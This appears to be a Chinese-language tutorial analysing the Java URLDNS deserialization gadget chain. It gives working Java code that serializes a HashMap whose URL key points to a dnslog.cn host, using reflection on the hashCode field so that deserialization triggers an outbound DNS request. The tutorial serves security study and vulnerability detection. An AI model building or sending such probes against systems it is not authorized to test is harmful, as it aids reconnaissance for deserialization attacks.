1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import java.io.*; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;
public class urldns {
public static void serialize(Object obj, String fileName) throws IOException { try (FileOutputStream fos = new FileOutputStream(fileName); ObjectOutputStream oos = new ObjectOutputStream(fos)) { oos.writeObject(obj); } }
/** * 从文件反序列化对象 * @param fileName 文件名 * @return 反序列化后的对象 * @throws IOException * @throws ClassNotFoundException */ public static Object deserialize(String fileName) throws IOException, ClassNotFoundException { try (FileInputStream fis = new FileInputStream(fileName); ObjectInputStream ois = new ObjectInputStream(fis)) { return ois.readObject(); } } public static void main(String[] args) throws IOException { HashMap<URL,Integer> hashMap = new HashMap<>();
hashMap.put(new URL("http://tjls2a.dnslog.cn"),1);
serialize(hashMap,"test.ser");
} }
|
原理分析
在Hashmap 类 的readobject 的方法里面会对存储的key对象调用hash(key)方法

如果key不为null的话就会让key调用hashCode方法

而如果我们存储的key是一个url对象的话 就会调用url类的hashCode方法
我们来看看url类的hashcode方法 他会调用handler.hashCode方法

我们继续跟进到这个方法里面
handler.hashCode
会发现在这里就执行了url请求 达到了dns请求的目的

但是如果我们使用刚刚给出的代码并不会 在执行反序列化的时候触发这种效果
原因如下
我们跟进一下put方法

会发现put方法执行了hashcode的方法

而如果我们再put的时候就提前执行了这个方法 ,他的hashcode就会不等于负一了 这也就造成反序列化hashmap对象的时候
url对象的hashcode方法并不会继续直行到handler.hashCode这个方法 从而无法造成dns请求

那么我们现在就要想一个办法 让他在put的时候 不执行handler.hashCode 的方法 也就是让他的hashCode!=-1
当他的put操作完成以后再将url对象的hashCode 重新设置会-1
于是我们用反射 让它在put之前为8888 put完之后为-1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;
public class urldns {
public static void serialize(Object obj, String fileName) throws IOException { try (FileOutputStream fos = new FileOutputStream(fileName); ObjectOutputStream oos = new ObjectOutputStream(fos)) { oos.writeObject(obj); } }
/** * 从文件反序列化对象 * @param fileName 文件名 * @return 反序列化后的对象 * @throws IOException * @throws ClassNotFoundException */ public static Object deserialize(String fileName) throws IOException, ClassNotFoundException { try (FileInputStream fis = new FileInputStream(fileName); ObjectInputStream ois = new ObjectInputStream(fis)) { return ois.readObject(); } } public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap<URL,Integer> hashMap = new HashMap<>(); URL url = new URL("http://tjls2a.dnslog.cn"); Class c = url.getClass(); Field field = c.getDeclaredField("hashCode"); field.set(url,8888);
hashMap.put(url,1); field.set(url,-1);
serialize(hashMap,"test.ser");
} }
|
在java8的环境下这段代码是可以成功运行的
序列化的时候没有执行dns请求


反序列化的时候执行dns成功

